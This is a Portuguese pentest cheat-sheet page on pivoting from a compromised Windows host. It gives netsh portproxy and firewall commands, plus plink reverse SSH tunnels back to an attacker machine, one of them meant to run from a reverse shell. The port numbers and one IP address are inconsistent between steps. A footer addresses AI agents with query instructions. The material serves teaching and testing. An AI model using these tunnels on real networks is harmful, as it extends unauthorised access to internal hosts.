# Pivoting / Tunneling / Port Forwarding

Para melhor exemplificação, todos os exemplos abaixo teremos os seguintes hosts:

| HOST          | DESCRIÇÃO                                                                                        |
| ------------- | ------------------------------------------------------------------------------------------------ |
| 192.168.15.5  | Host atacante                                                                                    |
| 192.168.15.10 | Host alvo onde temos acesso                                                                      |
| 192.168.9.100 | Segundo host alvo, onde não temos acesso direto. Somente 192.168.15.10 pode se comunicar com ele |

###

### Netsh

Utilitário do Windows que já vem nativos nas versão mais recentes. Uma observação importante a se fazer é que, para que isso funcione o sistema Windows deve ter o serviço `IP Helper` em execução (verifique em `services.msc`) e o suporte IPv6 deve estar habilitado para a interface que desejamos usar (verifique em `ncpa.cpl`).&#x20;

Neste cenário iremos realizar um encaminhamento de portas, onde o host atacante 192.168.15.5 irá acessar o host 192.168.9.100 na porta 445.

Execute o comando abaixo no host 192.168.15.10.

```bash
netsh interface portproxy add v4tov4 listenaddress=192.168.15.10 listenport=9999 connectport=445 connectaddress=192.168.9.100
```

Obviamente o firewall do Windows não irá permitir que determinadas portas sejam utilizadas, então devemos utilizar o seguinte comando para contornar essa situação (levando em conta que temos acessos administrativos para tal ação):

```bash
netsh advfirewall firewall add rule name="forward_port_rule" protocol=TCP dir=in localip=192.168.15.10 localport=9999 action=allow
```

#### Comprovando se deu certo

{% hint style="success" %}
**DICA**: Sempre que for fazer encaminhamento da porta 445, verifique se o alvo (no caso um Windows) aceite somente o SMBv2 habilitado. Caso positivo, adicione **`min protocol = SMB2`** no final do arquivo **`/etc/samba/smb.conf`** e depois reinicie o serviço SMB com **`sudo service smbd restart`**.
{% endhint %}

```bash
smbclient -L 192.168.15.10 --port=8888 --user=<user>
```

Em alguns casos, pode ser possível que o comando execute com sucesso, porém é exibido a seguinte mensagem: `do_connect: Connection to 19.168.15.10  failed (Error NT_STATUS_IO_TIMEOUT) Failed to connect with SMB1 -- no workgroup available`.

Isso ocorre devido ao timeout do port forwarding. Nesse caso, o melhor a se fazer, é montar uma unidade de rede no Linux, através do comnado `mount`.

### PLINK

Irá realizar um acesso entre a máquina atacante e o segundo host alvo (192.168.9.100). No exemplo abaixo, o atacante poderá se conectar na porta 3306 (MySQL) do host 192.168.9.100,  através da porta local 1234.

Execute o comando no host alvo (192.168.15.10) um dois modos abaixo:

Caso esteja no visuaol gráfica (rdesktop ou xfreerdp):

```powershell
plink.exe -ssh -l <user> -pw "<pass>" -R 192.168.15.5:1234:127.0.0.1:3306 192.168.15.5
```

Caso esteja em uma reverse shell, execute o comando abaixo. Existe essa diferença, porque ao executar o PLINK, ele irá perguntar se deseja guardar um chave no Registro do Windows e como na reverse shell essa interação pode não existir, então devemos enviar a resposta na mesma requisição.

```powershell
cmd.exe /c echo y | plink.exe -ssh -l <user> -pw "<pass>" -R 192.168.15.5:1234:127.0.0.1:3306 192.168.15.5
```

#### Comprovando se deu certo

```
sudo nmap -p 1234 127.0.0.1
```

### Port Forwarding

```bash
netsh interface portproxy add v4tov4 listenport=<port> listenaddress=<ip> connectaddress=<ip> connectport=<port>
netsh interface portproxy show all
```

\---

### Sites

```bash
# PLINK
https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/windows/pivoting-tunneling-port-forwarding.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
